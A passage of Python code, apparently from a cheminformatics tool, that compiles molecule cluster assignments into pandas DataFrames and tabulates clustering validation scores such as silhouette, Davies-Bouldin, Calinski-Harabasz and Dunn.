pd.DataFrame(descriptores_nuevas_molec) lista_descriptores.append(descriptores_nuevas_molec) vuelta += 1 dataframe_final = pd.DataFrame.from_dict(moleculas_compiladas, orient = 'index') dataframe_final.rename(columns = {0: 'CLUSTER'}, inplace = True) dataframe_final['key'] = dataframe_final.index dataframe_final['key'] = dataframe_final['key'].str.split('_').str[1].astype(int) dataframe_final = dataframe_final.sort_values('key', ascending=True).drop('key', axis=1) if available_molecular_descriptors: dataframe_final.index.rename("NAME", inplace = True) else: previuos_data.reset_index(drop = True, inplace = True) dataframe_final.reset_index(drop = True, inplace = True) dataframe_final = previuos_data.join(dataframe_final, how = 'right') dataframe_final_1 = dataframe_final['CLUSTER'].value_counts().to_frame() dataframe_final_1.rename(columns = {'CLUSTER': 'Molecules'}, inplace = True) validation_final = pd.DataFrame(validation_all) validation_final.columns = ["Round","SIL score", "SIL random", "SD SIL random", "DB score", "DB random", "SD DB random","CH score", "CH random", "SD CH random", "Dunn score", "Dunn random", "SD Dunn random"] print('-'*50) print('Clusterin has finished!') if len(lista_nuevas_moleculas) == 0: vuelta-=1 print(f'The {descriptores.shape[0]} molecules